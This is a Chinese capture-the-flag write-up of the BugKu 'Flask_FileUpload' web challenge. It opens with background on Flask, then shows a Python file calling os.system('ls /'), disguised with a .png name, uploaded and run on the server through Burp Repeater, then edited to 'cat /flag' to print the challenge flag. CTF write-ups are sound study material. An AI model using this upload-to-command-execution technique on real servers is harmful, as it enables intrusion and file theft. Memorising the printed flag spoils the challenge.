BugKu-Web-Flask_FileUpload(模板注入与文件上传)

Flask

Flask是一个使用Python编写的轻量级Web应用框架。它是一个微型框架,因为它的核心非常简单,但可以通过扩展来增加其他功能。Flask的核心组件包括Werkzeug,一个WSGI工具箱,以及Jinja2,一个模板引擎。

Flask使用BSD授权,这意味着它遵循开源许可证,允许用户自由地使用、修改和分发。Flask也被称为"microframework",因为它使用简单的核心,用扩展来增加其他功能。与一些其他框架相比,Flask更加灵活、轻便和安全,而且容易上手。

在开发Web应用程序时,Flask提供了一个构建块,允许开发人员根据需要自由地选择和组合不同的组件。这使得开发人员能够更好地控制应用程序的结构和功能。

Flask没有默认使用的数据库或窗体验证工具,这意味着开发人员需要自行选择这些组件。这为开发人员提供了更大的灵活性,可以根据应用程序的需求选择最适合的组件。

总的来说,Flask是一个轻量级的Web应用框架,具有简单性和灵活性,适合小型团队在短时间内实现功能丰富的中小型网站或Web服务。

题目环境

模块注入还可以,但是第一次见模块注入与文件上传相结合,我也是感到颇为新奇。

使用burpsuite工具

需要用来发送数据和接收数据

首先编写python脚本文件

python 复制代码
import os
#调用os模块
os.system('ls /')
#调用os模块中的system外部执行命令,ls / 列出根目录下的所有目录和文件

将次文件命名为png格式

首先使用火狐打开题目

顺便打开burp准备抓包


Repeater放包
Send

OK,到此也是发现了flag的踪迹

查看flag内容

在数据包里面改外部执行命令

cat /flag 查看f根目录下flag的内容

Send

拿下flag:
flag{a6264dc026eee12800ee179de0f87807}

相关推荐
星越华夏21 小时前
python——三角函数用法
开发语言·python
gmaajt21 小时前
mysql如何检查数据库表是否存在损坏_使用CHECK TABLE命令修复
jvm·数据库·python
heRs BART1 天前
【Flask】四、flask连接并操作数据库
数据库·python·flask
PyHaVolask1 天前
Python 爬虫进阶:直接请求 JSON 接口与开发者工具使用
爬虫·python·请求头·反爬·json接口·chrome开发者工具
larance1 天前
安装dify的几个问题
python
2301_773553621 天前
CSS如何对用户访问过的链接进行降级颜色处理_使用-visited伪类改变颜色
jvm·数据库·python
2301_815279521 天前
Golang怎么理解Go的sync.Pool底层_Golang如何理解Pool的本地缓存和GC清理机制【详解】
jvm·数据库·python
2301_764150561 天前
MySQL迁移过程如何避免数据不一致_利用强一致性备份方案
jvm·数据库·python
m0_716430071 天前
Redis如何处理预热失效引起的开局雪崩
jvm·数据库·python
m0_377618231 天前
c++文件锁使用方法 c++如何实现多进程文件同步
jvm·数据库·python